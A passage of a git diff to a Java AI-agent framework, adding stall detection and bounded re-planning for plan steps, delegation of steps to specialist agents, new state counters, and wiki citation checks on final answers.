@@ public class StepExecutionNode implements NodeAction { long stepStartedAtMs = System.currentTimeMillis(); boolean wallClockExceeded = false; + // Signature-based progress detector: nudges the model to change strategy + // when a round stalls (repeated failures / identical results), and flags + // the step as stuck past a hard threshold so we re-plan instead of + // burning the whole tool-call budget and advancing with junk. + StepProgressTracker progressTracker = new StepProgressTracker(); + try { while (toolCallCount < MAX_TOOL_CALLS_PER_STEP) { long elapsedMs = System.currentTimeMillis() - stepStartedAtMs; @@ -350,6 +398,30 @@ public class StepExecutionNode implements NodeAction { break; } + // Progress tracking: feed this round's tool results to the + // detector. A WARN-level stall injects a one-shot "change + // strategy" SystemMessage the model sees on its next call; a + // HALT-level stall stops the inner loop so the post-loop logic + // re-plans instead of spinning to the tool-call ceiling. + java.util.Map idToArgs = new java.util.HashMap<>(); + for (AssistantMessage.ToolCall tc : allToolCalls) { + if (tc != null && tc.id() != null) { + idToArgs.put(tc.id(), tc.arguments()); + } + } + for (ToolResponseMessage.ToolResponse tr : toolResponses) { + var nudge = progressTracker.record( + tr.name(), idToArgs.getOrDefault(tr.id(), ""), tr.responseData()); + if (nudge.isPresent()) { + messages.add(new SystemMessage(nudge.get())); + } + } + if (progressTracker.isStuck()) { + log.warn("[StepExecution] Step {} stalled ({}); stopping inner loop to re-plan", + stepIndex, progressTracker.haltReason()); + break; + } + // RFC-052: returnDirect short-circuit. Any direct tool in this // step ends the plan immediately; the dispatcher routes via // currentPhase=plan_aborted so no further LLM call happens. @@ -415,6 +487,56 @@ public class StepExecutionNode implements NodeAction { .build(); } + // Step-failure recovery WITHOUT an exception: the inner loop ended + // with no usable result — stalled (repeated failures / identical + // results, flagged by the progress tracker), hit the wall-clock or + // tool-call ceiling, or returned an empty answer. Re-plan the + // remaining work around it instead of advancing dependent steps with + // junk. Shares PLAN_REPLAN_COUNT with the exception path; once the + // budget is spent we fall through to the legacy "complete with a + // failure note" path below so the plan still terminates. + boolean noUsableResult = progressTracker.isStuck() + || finalResult == null || finalResult.isBlank(); + int noProgressReplanCount = accessor.replanCount(); + if (noUsableResult && noProgressReplanCount < MAX_REPLANS_PER_RUN) { + String reason = progressTracker.isStuck() + ? "本步骤陷入停滞(" + progressTracker.haltReason() + "),未取得有效结果" + : wallClockExceeded + ? "本步骤超过最大耗时限制,未取得有效结果" + : finalResult == null + ? "本步骤超过最大工具调用次数,未取得有效结果" + : "本步骤未产出有效结果"; + planningService.updateSubPlanFailure(planId, stepIndex, reason); + planningService.markPlanFailed(planId, "步骤" + (stepIndex + 1) + ":" + reason); + events.add(GraphEventPublisher.stepCompleted(stepIndex, reason)); + if (iterationEventsOn) { + events.add(GraphEventPublisher.iterationEnd(stepIndex, "parent", null, reason.length(), 0)); + } + events.add(new GraphEventPublisher.GraphEvent("plan_replan", Map.of( + "failedStepIndex", stepIndex, + "attempt", noProgressReplanCount + 1, + "maxReplans", MAX_REPLANS_PER_RUN, + "reason", reason), System.currentTimeMillis())); + log.warn("[StepExecution] Step {} produced no usable result ({}); re-planning (attempt {}/{})", + stepIndex + 1, reason, noProgressReplanCount + 1, MAX_REPLANS_PER_RUN); + return PlanStateAccessor.output() + .workingContext(buildReplanContext(accessor, stepIndex, reason)) + .currentPhase("plan_replan") + .replanCount(noProgressReplanCount + 1) + .planId(null) + .planSteps(List.of()) + .planValid(false) + .needsPlanning(true) + .currentStepIndex(0) + .currentStepTitle("") + .currentStepResult("") + .contentStreamed(false) + .put(MateClawStateKeys.PROMPT_TOKENS, state.value(MateClawStateKeys.PROMPT_TOKENS, 0) + stepPromptTokens) + .put(MateClawStateKeys.COMPLETION_TOKENS, state.value(MateClawStateKeys.COMPLETION_TOKENS, 0) + stepCompletionTokens) + .events(events) + .build(); + } + if (finalResult == null) { if (wallClockExceeded) { finalResult = "步骤执行超过最大耗时限制(" @@ -435,6 +557,46 @@ public class StepExecutionNode implements NodeAction { events.add(GraphEventPublisher.iterationEnd(stepIndex, "parent", null, shortError != null ? shortError.length() : 0, 0)); } + + // Step-failure recovery: rather than aborting the whole plan on a + // single failed step, re-plan the remaining work around the failure + // (up to MAX_REPLANS_PER_RUN). Completed steps are preserved in + // WORKING_CONTEXT, so the next PlanGeneration pass can skip them and + // route around (or retry) what broke. The mid-pass plan state is + // cleared so a fresh plan is derived; PLAN_REPLAN_COUNT bounds the loop. + int replanCount = accessor.replanCount(); + if (replanCount < MAX_REPLANS_PER_RUN) { + String replanContext = buildReplanContext(accessor, stepIndex, shortError); + events.add(new GraphEventPublisher.GraphEvent("plan_replan", Map.of( + "failedStepIndex", stepIndex, + "attempt", replanCount + 1, + "maxReplans", MAX_REPLANS_PER_RUN, + "error", shortError == null ? "" : shortError), + System.currentTimeMillis())); + log.warn("[StepExecution] Step {} failed; re-planning remaining work (attempt {}/{})", + stepIndex + 1, replanCount + 1, MAX_REPLANS_PER_RUN); + return PlanStateAccessor.output() + .workingContext(replanContext) + .currentPhase("plan_replan") + .replanCount(replanCount + 1) + // Wipe mid-pass plan state so PlanGenerationNode re-derives + // a fresh plan from goal + (failure-augmented) context. + .planId(null) + .planSteps(List.of()) + .planValid(false) + .needsPlanning(true) + .currentStepIndex(0) + .currentStepTitle("") + .currentStepResult("") + .contentStreamed(false) + .put(MateClawStateKeys.PROMPT_TOKENS, state.value(MateClawStateKeys.PROMPT_TOKENS, 0) + stepPromptTokens) + .put(MateClawStateKeys.COMPLETION_TOKENS, state.value(MateClawStateKeys.COMPLETION_TOKENS, 0) + stepCompletionTokens) + .events(events) + .build(); + } + + log.warn("[StepExecution] Step {} failed and re-plan budget exhausted ({}); aborting plan", + stepIndex + 1, MAX_REPLANS_PER_RUN); return PlanStateAccessor.output() .currentStepResult(shortError) .currentPhase("plan_aborted") @@ -489,6 +651,98 @@ public class StepExecutionNode implements NodeAction { .build(); } + /** + * Execute a step by delegating it to its assigned specialist agent. The + * delegated agent runs the step description as a self-contained goal and its + * reply becomes the step result. Mirrors the success/failure bookkeeping of + * the local execution path (sub-plan status, completed-results accumulation, + * incremental working-context update) so the rest of the plan graph is + * unaffected by where the step ran. + */ + private Map executeDelegatedStep( + PlanStateAccessor accessor, int stepIndex, String step, Long planId, + Long assignedAgentId, String conversationId, ChatOrigin chatOrigin, + List events, boolean iterationEventsOn) { + + if (iterationEventsOn) { + events.add(GraphEventPublisher.iterationStart(stepIndex, "plan_step", "parent", null)); + } + events.add(GraphEventPublisher.stepStarted(stepIndex, step)); + events.add(GraphEventPublisher.phase("executing", Map.of( + "stepIndex", stepIndex, "stepTitle", step, + "delegatedAgentId", String.valueOf(assignedAgentId)))); + planningService.updateSubPlanStatus(planId, stepIndex, "running"); + + log.info("[StepExecution] Delegating step {} to agent {}", stepIndex + 1, assignedAgentId); + + // Seed the delegation context with the plan's REAL conversation id (from + // graph state) so the delegated child conversation is parented to it and + // stays hidden from the user's conversation list. The ChatOrigin in the + // plan-execute path carries no conversationId, so delegateByAgentId can't + // derive the parent on its own — we provide it here. + boolean seeded = false; + if (conversationId != null && !conversationId.isBlank() + && DelegationContext.parentConversationId() == null + && ToolExecutionContext.conversationId() == null) { + DelegationContext.enter(conversationId, Set.of(), conversationId, null, 0); + seeded = true; + } + String result; + try { + result = delegateAgentTool.delegateByAgentId(assignedAgentId, step, chatOrigin); + } catch (Exception e) { + log.error("[StepExecution] Delegated step {} threw: {}", stepIndex, e.getMessage(), e); + result = "[错误] 委派执行异常:" + e.getMessage(); + } finally { + if (seeded) { + DelegationContext.exit(); + } + } + + String finalResult = result != null ? result : ""; + boolean failed = finalResult.isEmpty() || finalResult.startsWith("[错误]"); + if (failed) { + planningService.updateSubPlanFailure(planId, stepIndex, finalResult); + } else { + planningService.updateSubPlanResult(planId, stepIndex, finalResult); + } + + events.add(GraphEventPublisher.stepCompleted(stepIndex, finalResult)); + if (iterationEventsOn) { + events.add(GraphEventPublisher.iterationEnd(stepIndex, "parent", null, finalResult.length(), 0)); + } + + // Keep the rolling working-context in sync exactly like the local path + // so later steps see this delegated step's result. + String prevWorkingContext = accessor.workingContext(); + String formattedNewStep = formatStepResult(stepIndex, finalResult); + String updatedWorkingContext = prevWorkingContext.isEmpty() + ? rebuildWorkingContext(accessor, appendOne(accessor.completedResults(), formattedNewStep)) + : appendStepIncremental(prevWorkingContext, formattedNewStep); + + return PlanStateAccessor.output() + .currentStepResult(finalResult) + .completedResults(formattedNewStep) + .currentStepIndex(stepIndex + 1) + .workingContext(updatedWorkingContext) + .currentPhase("step_completed") + .contentStreamed(true) + .events(events) + .build(); + } + + /** Parse a string id to Long, or null when blank / non-numeric. */ + private static Long parseLongOrNull(String s) { + if (s == null || s.isBlank()) { + return null; + } + try { + return Long.parseLong(s.trim()); + } catch (NumberFormatException e) { + return null; + } + } + /** * RFC-052: assemble the final answer text from direct tool outputs in this * step. Mirrors {@code FinalAnswerNode#assembleDirectAnswer} so the user @@ -509,7 +763,8 @@ public class StepExecutionNode implements NodeAction { return sb.toString(); } - private List buildStepMessages(PlanStateAccessor accessor, String step, String systemPrompt, String workspaceBasePath) { + private List buildStepMessages(PlanStateAccessor accessor, String step, String systemPrompt, + String workspaceBasePath, String runtimeModelName, String runtimeProviderId) { List messages = new ArrayList<>(); // Layer 1: System prompt(增强指令) @@ -537,9 +792,10 @@ public class StepExecutionNode implements NodeAction { messages.add(new SystemMessage(skillCatalog)); } } - // 注入运行时上下文(当前时间 + 工作目录 + 发起者上下文) + // 注入运行时上下文(当前时间 + 工作目录 + 发起者上下文 + 模型身份) messages.add(new UserMessage( - RuntimeContextInjector.buildContextMessage(workspaceBasePath, null, accessor.chatOrigin()))); + RuntimeContextInjector.buildContextMessage( + workspaceBasePath, null, accessor.chatOrigin(), runtimeModelName, runtimeProviderId))); // Layer 2: Working context(对话历史 + 步骤结果的受控长度摘要) String workingContext = accessor.workingContext(); @@ -607,6 +863,30 @@ public class StepExecutionNode implements NodeAction { } } + /** + * Augment the working context with a note about the failed step so the next + * PlanGeneration pass re-plans around it. The completed-step results are + * already encoded in {@code WORKING_CONTEXT}; this appends only the failure + * so the planner can skip what's done, retry differently, or route around + * the broken step. The note is an internal LLM prompt (Chinese, matching the + * surrounding planning/execution prompts). + */ + static String buildReplanContext(PlanStateAccessor accessor, int failedStepIndex, String error) { + List steps = accessor.planSteps(); + String failedTitle = (failedStepIndex >= 0 && failedStepIndex < steps.size()) + ? steps.get(failedStepIndex) : ("步骤 " + (failedStepIndex + 1)); + StringBuilder sb = new StringBuilder(accessor.workingContext()); + if (sb.length() > 0) { + sb.append("\n\n"); + } + sb.append("【上一轮计划执行失败】步骤 ").append(failedStepIndex + 1) + .append("(").append(failedTitle).append(")执行失败:") + .append(error == null ? "未知错误" : error) + .append("\n请基于上面已完成的工作,重新规划达成总目标所需的剩余步骤:") + .append("绕开或换一种方式完成失败的部分,不要重复已经完成的步骤。"); + return sb.toString(); + } + /** * 将异常转换为简短的错误摘要,避免将完整异常体(尤其是 429 JSON)写入后续 prompt。 *

    diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/StepProgressTracker.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/StepProgressTracker.java new file mode 100644 index 00000000..24ac9b04 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/node/StepProgressTracker.java @@ -0,0 +1,152 @@ +package vip.mate.agent.graph.plan.node; + +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Optional; +import java.util.Set; + +/** + * Per-step progress detector for the Plan-Execute executor. + * + *

    A plan step runs its own inner tool-calling loop. Without progress + * tracking, a step can spin — repeatedly calling the same tool, or hammering + * different variants that all fail / return nothing — until it hits the + * tool-call ceiling, then "complete" with an empty result and let the plan + * plow into dependent steps that have no real input. + * + *

    This tracker watches the tool results of each round and recognises two + * signature-based stall patterns: + *

      + *
    • repeated failure — the same call (tool name + canonical args) + * keeps failing, or the same tool keeps failing with different args;
    • + *
    • no progress — a call keeps returning the same result, + * so re-issuing it yields nothing new.
    • + *
    + * + *

    Detection is graduated: at the WARN threshold it emits a one-shot nudge + * (injected back into the step's messages so the model changes strategy); + * past the HALT threshold it flags the step as stuck so the executor can stop + * the inner loop and re-plan instead of advancing with junk. Thresholds are + * deliberately low — the goal is to break a stall early, before the whole + * tool-call budget is burned. + * + *

    Not thread-safe; create one per step. + */ +public final class StepProgressTracker { + + /** Same exact call (tool + args) failing: nudge / halt thresholds. */ + static final int SAME_CALL_FAIL_WARN = 2; + static final int SAME_CALL_FAIL_HALT = 4; + /** Same tool failing across different args: nudge / halt thresholds. */ + static final int SAME_TOOL_FAIL_WARN = 3; + static final int SAME_TOOL_FAIL_HALT = 6; + /** Same call returning identical output (no new information): nudge / halt. */ + static final int NO_PROGRESS_WARN = 2; + static final int NO_PROGRESS_HALT = 4; + + /** + * Lower-cased markers that identify a tool result as a failure / empty + * outcome. Kept intentionally small and language-mixed: tool errors in this + * codebase surface as English exception text, while a few common "not + * found" phrasings also appear in Chinese tool output. + */ + private static final String[] FAILURE_MARKERS = { + "execution failed", "error:", "exception", "timeout", "timed out", + "enoent", "no such file", "not found", "authentication failed", + "permission denied", "failed to", "未找到", "不存在", "没有找到", "执行失败", "无法" + }; + + private final Map sameCallFail = new HashMap<>(); + private final Map sameToolFail = new HashMap<>(); + private final Map resultRepeat = new HashMap<>(); + private final Set warnedKeys = new HashSet<>(); + + private boolean stuck = false; + private String haltReason = null; + + /** + * Record one tool result from the current round. + * + * @param toolName the invoked tool's name (never null) + * @param argsJson the raw arguments JSON (may be empty when unresolved) + * @param resultText the tool's result text (may be null/empty) + * @return a nudge to inject into the step's messages when a WARN threshold + * was freshly crossed, otherwise empty. Each distinct warning fires + * at most once. + */ + public Optional record(String toolName, String argsJson, String resultText) { + String name = toolName == null ? "tool" : toolName; + String args = argsJson == null ? "" : argsJson; + String result = resultText == null ? "" : resultText; + boolean failure = looksLikeFailure(result); + + String callSig = name + "::" + args.hashCode(); + String resultKey = callSig + "##" + result.trim().hashCode(); + + // No-progress: identical result for the same call, regardless of success. + int repeats = resultRepeat.merge(resultKey, 1, Integer::sum); + if (repeats >= NO_PROGRESS_HALT) { + markStuck("no_progress:" + name); + } + Optional nudge = maybeWarn(repeats >= NO_PROGRESS_WARN, "np:" + resultKey, + "工具 " + name + " 已连续 " + repeats + " 次返回相同结果。不要重复同样的调用——" + + "改用已有结果、换查询/换工具,或直接基于现有信息给出本步骤结论。"); + + if (failure) { + int callFails = sameCallFail.merge(callSig, 1, Integer::sum); + int toolFails = sameToolFail.merge(name, 1, Integer::sum); + if (callFails >= SAME_CALL_FAIL_HALT || toolFails >= SAME_TOOL_FAIL_HALT) { + markStuck("repeated_failure:" + name); + } + if (nudge.isEmpty()) { + nudge = maybeWarn(callFails >= SAME_CALL_FAIL_WARN, "cf:" + callSig, + "工具 " + name + " 用相同参数已失败 " + callFails + " 次,像是死循环。" + + "先看错误原因再换一种方式,不要原样重试。"); + } + if (nudge.isEmpty()) { + nudge = maybeWarn(toolFails >= SAME_TOOL_FAIL_WARN, "tf:" + name, + "工具 " + name + " 本步骤已失败 " + toolFails + " 次。停止在同一条失败路径上重试," + + "换工具或换思路完成本步骤。"); + } + } + return nudge; + } + + /** True once a HALT threshold was crossed — the step should stop and re-plan. */ + public boolean isStuck() { + return stuck; + } + + /** Machine-readable reason for the halt, or null when not stuck. */ + public String haltReason() { + return haltReason; + } + + private Optional maybeWarn(boolean crossed, String key, String message) { + if (crossed && warnedKeys.add(key)) { + return Optional.of(message); + } + return Optional.empty(); + } + + private void markStuck(String reason) { + if (!stuck) { + stuck = true; + haltReason = reason; + } + } + + static boolean looksLikeFailure(String result) { + if (result == null || result.isBlank()) { + return true; // an empty result is no progress either + } + String lower = result.toLowerCase(); + for (String marker : FAILURE_MARKERS) { + if (lower.contains(marker)) { + return true; + } + } + return false; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/state/PlanStateAccessor.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/state/PlanStateAccessor.java index dccce082..98d3e385 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/state/PlanStateAccessor.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/state/PlanStateAccessor.java @@ -73,6 +73,11 @@ public final class PlanStateAccessor { return state.>value(COMPLETED_RESULTS).orElse(List.of()); } + /** Re-plans already performed this run (0 at run start). */ + public int replanCount() { + return state.value(PLAN_REPLAN_COUNT, 0); + } + // ===== 终止 ===== public String finalSummary() { @@ -187,6 +192,10 @@ public final class PlanStateAccessor { return put(CURRENT_STEP_INDEX, index); } + public OutputBuilder replanCount(int count) { + return put(PLAN_REPLAN_COUNT, count); + } + public OutputBuilder currentStepTitle(String title) { return put(CURRENT_STEP_TITLE, title); } diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/state/PlanStateKeys.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/state/PlanStateKeys.java index 37ff58a2..ac4e720c 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/state/PlanStateKeys.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/plan/state/PlanStateKeys.java @@ -27,6 +27,15 @@ public final class PlanStateKeys { public static final String CURRENT_STEP_RESULT = "current_step_result"; public static final String COMPLETED_RESULTS = "completed_results"; // APPEND 策略 + /** + * Number of re-plans performed in THIS graph run (REPLACE strategy). When a + * step throws, the executor re-plans the remaining work around the failure + * (carried in {@link #WORKING_CONTEXT}) instead of aborting outright, up to + * a small bound — this counter enforces that bound so a pathological failure + * loop can't re-plan forever. Implicitly 0 at run start. + */ + public static final String PLAN_REPLAN_COUNT = "plan_replan_count"; + // ===== 终止 ===== public static final String FINAL_SUMMARY = "final_summary"; public static final String DIRECT_ANSWER = "direct_answer"; // 简单问答的直接回答 diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/state/MateClawStateAccessor.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/state/MateClawStateAccessor.java index 96c18cef..23a8b6f8 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/state/MateClawStateAccessor.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/state/MateClawStateAccessor.java @@ -80,6 +80,11 @@ public final class MateClawStateAccessor { return state.value(LLM_CALL_COUNT, 0); } + /** Iterations refunded this run for setup-only (progressive-disclosure) rounds (0 at run start). */ + public int iterationRefundCount() { + return state.value(ITERATION_REFUND_COUNT, 0); + } + // ===== 观察历史 ===== @SuppressWarnings("unchecked") @@ -303,6 +308,11 @@ public final class MateClawStateAccessor { return state.value(GOAL_ACCOUNTED_LLM_CALL_COUNT, 0); } + /** Hard continuations (fresh-budget ReAct segments) performed this run (0 at run start). */ + public int goalHardContinuationCount() { + return state.value(GOAL_HARD_CONTINUATION_COUNT, 0); + } + /** * Bridge across ReAct and Plan-Execute: ReAct writes the terminal text * to {@link MateClawStateKeys#FINAL_ANSWER} via FinalAnswerNode; @@ -368,6 +378,10 @@ public final class MateClawStateAccessor { return put(NEEDS_TOOL_CALL, needs); } + public OutputBuilder iterationRefundCount(int count) { + return put(ITERATION_REFUND_COUNT, count); + } + // ---- 消息 ---- public OutputBuilder messages(List msgs) { return put(MESSAGES, msgs); @@ -552,6 +566,10 @@ public final class MateClawStateAccessor { return put(GOAL_ACCOUNTED_LLM_CALL_COUNT, n); } + public OutputBuilder goalHardContinuationCount(int n) { + return put(GOAL_HARD_CONTINUATION_COUNT, n); + } + /** Wipe FINAL_ANSWER on follow-up so the next graph pass doesn't * immediately re-terminate via the existing final text. */ public OutputBuilder clearFinalAnswer() { @@ -563,6 +581,18 @@ public final class MateClawStateAccessor { return put(FINISH_REASON, ""); } + /** + * Wipe the limit-exceeded draft + flag. Required before a hard + * continuation re-enters the ReAct loop: FinalAnswerNode prefers + * FINAL_ANSWER_DRAFT over a freshly reasoned answer, so a stale draft + * left by LimitExceededNode would otherwise resurface as the next + * segment's answer. + */ + public OutputBuilder clearLimitExceededDraft() { + put(FINAL_ANSWER_DRAFT, ""); + return put(LIMIT_EXCEEDED, false); + } + /** Plan-Execute follow-up: clear the terminal-side plan summary so * the next PlanGeneration pass starts clean. Identifier is the * string literal "final_summary" to avoid a compile-time link to diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/state/MateClawStateKeys.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/state/MateClawStateKeys.java index 2e269f57..56b66517 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/state/MateClawStateKeys.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/state/MateClawStateKeys.java @@ -30,6 +30,16 @@ public final class MateClawStateKeys { public static final String CURRENT_ITERATION = "current_iteration"; public static final String MAX_ITERATIONS = "max_iterations"; + /** + * Iterations refunded this run because a reasoning round did no real work — + * its whole tool batch was progressive-disclosure setup ({@code load_skill} + * / {@code enable_tool}). ObservationNode skips the iteration increment for + * such rounds so a tight budget isn't eaten by the load-then-use two-step; + * this counter bounds the refunds so a model that only ever loads skills + * still terminates. Implicitly 0 at run start. REPLACE strategy. + */ + public static final String ITERATION_REFUND_COUNT = "iteration_refund_count"; + // ===== 工具调用(REPLACE 策略)===== public static final String TOOL_CALLS = "tool_calls"; public static final String TOOL_RESULTS = "tool_results"; @@ -228,6 +238,22 @@ public final class MateClawStateKeys { */ public static final String GOAL_ACCOUNTED_LLM_CALL_COUNT = "goal_accounted_llm_call_count"; + /** + * Number of "hard continuations" already performed in THIS graph run — a + * hard continuation is a goal follow-up that re-enters the ReAct loop with + * a FRESH iteration budget (CURRENT_ITERATION reset to 0) after a turn that + * ended in {@link FinishReason#MAX_ITERATIONS_REACHED}. Unlike a normal + * follow-up (which shares the run's single iteration budget), a hard + * continuation grants the goal a brand-new ReAct segment so a task too big + * for one budget can keep going autonomously instead of stalling until the + * user sends another message. Because each such segment costs up to a full + * {@code maxIterations} worth of node visits, it is bounded by a dedicated, + * tighter cap ({@code mateclaw.goal.max-hard-continuations-per-run}, clamped + * to {@link vip.mate.goal.config.GoalProperties#MAX_HARD_CONTINUATIONS_CEILING}) + * and sized into the graph recursion ceiling. Implicitly 0 at run start. + */ + public static final String GOAL_HARD_CONTINUATION_COUNT = "goal_hard_continuation_count"; + /** Graph-node identifier for the GoalEvaluationNode. */ public static final String GOAL_EVALUATION_NODE = "goal_evaluation"; diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/state/SourceEvidenceLedger.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/state/SourceEvidenceLedger.java index 1a839581..02e01f3d 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/state/SourceEvidenceLedger.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/state/SourceEvidenceLedger.java @@ -20,7 +20,10 @@ import java.util.regex.Pattern; public record SourceEvidenceLedger( Set sourcePaths, Set sourceSymbols, - Set failedPaths + Set failedPaths, + Set wikiPageTitles, + Set wikiChunkIds, + Set wikiCitations ) implements Serializable { private static final ObjectMapper MAPPER = new ObjectMapper(); @@ -31,15 +34,19 @@ public record SourceEvidenceLedger( "\\b[A-Z][A-Za-z0-9_]*(?:Controller|Service|ServiceImpl|Node|Tool|Parser|Resolver|Manager|Syncer|Mapper|Entity|Repository|Dispatcher|Executor|Accessor|Builder|Policy|Guard)\\b"); private static final Pattern DECLARED_TYPE = Pattern.compile( "\\b(?:class|interface|enum|record)\\s+([A-Z][A-Za-z0-9_]*)\\b"); + private static final Pattern CITATION_MARKER = Pattern.compile("\\[(\\d+)\\]"); public SourceEvidenceLedger { sourcePaths = Set.copyOf(sourcePaths == null ? Set.of() : sourcePaths); sourceSymbols = Set.copyOf(sourceSymbols == null ? Set.of() : sourceSymbols); failedPaths = Set.copyOf(failedPaths == null ? Set.of() : failedPaths); + wikiPageTitles = Set.copyOf(wikiPageTitles == null ? Set.of() : wikiPageTitles); + wikiChunkIds = Set.copyOf(wikiChunkIds == null ? Set.of() : wikiChunkIds); + wikiCitations = Set.copyOf(wikiCitations == null ? Set.of() : wikiCitations); } public static SourceEvidenceLedger empty() { - return new SourceEvidenceLedger(Set.of(), Set.of(), Set.of()); + return new SourceEvidenceLedger(Set.of(), Set.of(), Set.of(), Set.of(), Set.of(), Set.of()); } public static SourceEvidenceLedger fromToolResponses(List responses) { @@ -56,6 +63,14 @@ public record SourceEvidenceLedger( recordReadFile(data, builder); } else { recordPlainTextEvidence(data, builder); + // Only mine wiki citations from wiki retrieval tools. Sniffing every + // tool's JSON for a top-level title/pages/chunks field would let + // unrelated tools (e.g. getGoalStatus, which returns a top-level + // "title") populate the citation set and falsely force [n] citation + // enforcement on the final answer. + if (isWikiTool(response.name())) { + recordWikiEvidence(data, builder); + } } } return builder.build(); @@ -69,9 +84,15 @@ public record SourceEvidenceLedger( sourcePaths.forEach(builder::sourcePath); sourceSymbols.forEach(builder::symbol); failedPaths.forEach(builder::failedPath); + wikiPageTitles.forEach(builder::wikiPageTitle); + wikiChunkIds.forEach(builder::wikiChunkId); + wikiCitations.forEach(builder::wikiCitation); other.sourcePaths.forEach(builder::sourcePath); other.sourceSymbols.forEach(builder::symbol); other.failedPaths.forEach(builder::failedPath); + other.wikiPageTitles.forEach(builder::wikiPageTitle); + other.wikiChunkIds.forEach(builder::wikiChunkId); + other.wikiCitations.forEach(builder::wikiCitation); return builder.build(); } @@ -80,12 +101,61 @@ public record SourceEvidenceLedger( sourcePaths.forEach(builder::sourcePath); sourceSymbols.forEach(builder::symbol); failedPaths.forEach(builder::failedPath); + wikiPageTitles.forEach(builder::wikiPageTitle); + wikiChunkIds.forEach(builder::wikiChunkId); + wikiCitations.forEach(builder::wikiCitation); builder.sourcePath(path); return builder.build(); } + public SourceEvidenceLedger withWikiPageTitle(String title) { + Builder builder = new Builder(); + sourcePaths.forEach(builder::sourcePath); + sourceSymbols.forEach(builder::symbol); + failedPaths.forEach(builder::failedPath); + wikiPageTitles.forEach(builder::wikiPageTitle); + wikiChunkIds.forEach(builder::wikiChunkId); + wikiCitations.forEach(builder::wikiCitation); + builder.wikiPageTitle(title); + return builder.build(); + } + + public SourceEvidenceLedger withWikiChunkId(String chunkId) { + Builder builder = new Builder(); + sourcePaths.forEach(builder::sourcePath); + sourceSymbols.forEach(builder::symbol); + failedPaths.forEach(builder::failedPath); + wikiPageTitles.forEach(builder::wikiPageTitle); + wikiChunkIds.forEach(builder::wikiChunkId); + wikiCitations.forEach(builder::wikiCitation); + builder.wikiChunkId(chunkId); + return builder.build(); + } + public boolean hasEvidence() { - return !sourcePaths.isEmpty() || !sourceSymbols.isEmpty() || !failedPaths.isEmpty(); + return !sourcePaths.isEmpty() || !sourceSymbols.isEmpty() || !failedPaths.isEmpty() + || hasWikiEvidence(); + } + + public boolean hasWikiEvidence() { + return !wikiPageTitles.isEmpty() || !wikiChunkIds.isEmpty() || !wikiCitations.isEmpty(); + } + + public boolean hasWikiPageTitle(String title) { + if (title == null || title.isBlank()) { + return false; + } + String normalized = title.trim(); + return wikiPageTitles.contains(normalized) + || wikiPageTitles.stream().anyMatch(t -> t.equalsIgnoreCase(normalized)); + } + + public boolean hasWikiChunkId(String chunkId) { + return chunkId != null && wikiChunkIds.contains(chunkId); + } + + public boolean hasWikiCitationIndex(int index) { + return wikiCitations.stream().anyMatch(c -> c.index() == index); } public boolean hasPath(String path) { @@ -103,6 +173,7 @@ public record SourceEvidenceLedger( } LinkedHashSet unsupported = new LinkedHashSet<>(); LinkedHashSet unsupportedFileStems = new LinkedHashSet<>(); + Matcher fileMatcher = JAVA_FILE_REF.matcher(answer); while (fileMatcher.find()) { String ref = fileMatcher.group(); @@ -111,6 +182,7 @@ public record SourceEvidenceLedger( unsupportedFileStems.add(ref.substring(0, ref.length() - ".java".length())); } } + Matcher symbolMatcher = JAVA_SYMBOL_REF.matcher(answer); while (symbolMatcher.find()) { String ref = symbolMatcher.group(); @@ -118,9 +190,122 @@ public record SourceEvidenceLedger( unsupported.add(ref); } } + + validateWikiCitations(answer, unsupported); + return unsupported.isEmpty() ? Validation.ok() : new Validation(false, List.copyOf(unsupported)); } + public String appendWikiSourceTable(String answer) { + if (answer == null || answer.isBlank() || wikiCitations.isEmpty()) { + return answer; + } + LinkedHashSet used = citationIndexesIn(answer); + if (used.isEmpty()) { + return answer; + } + + String result = answer; + StringBuilder additions = new StringBuilder(); + + for (Integer index : used) { + WikiCitation citation = wikiCitation(index); + if (citation == null) { + continue; + } + String canonicalLine = citation.sourceLine(); + if (sourceLineFor(result, index) != null) { + // Normalize in-place: replace the existing (possibly + // non-canonical) source line with the standard format so + // the frontend can reliably parse the source table. + result = replaceSourceLine(result, index, canonicalLine); + } else { + if (additions.isEmpty()) { + additions.append("\n\n来源:"); + } + additions.append("\n").append(canonicalLine); + } + } + + // If source lines were normalized in-place but no 来源: header + // exists, insert one before the first source line so the frontend + // preprocessWikiCitations() can locate the source table. + if (additions.isEmpty() && !result.contains("来源:")) { + Matcher firstSource = Pattern + .compile("(?m)^\\[") + .matcher(result); + if (firstSource.find()) { + int pos = firstSource.start(); + result = result.substring(0, pos) + "\n\n来源:\n" + result.substring(pos); + } + } + + return additions.isEmpty() ? result : result + additions; + } + + private void validateWikiCitations(String answer, LinkedHashSet unsupported) { + if (wikiCitations.isEmpty()) { + return; + } + + LinkedHashSet indexes = citationIndexesIn(answer); + if (indexes.isEmpty()) { + unsupported.add("missing wiki citation [n]"); + return; + } + + for (Integer index : indexes) { + WikiCitation citation = wikiCitation(index); + if (citation == null) { + unsupported.add("wiki citation [" + index + "]"); + continue; + } + String sourceLine = sourceLineFor(answer, index); + if (sourceLine == null) { + unsupported.add("wiki source table [" + index + "]"); + } else if (!citation.matchesSourceLine(sourceLine)) { + 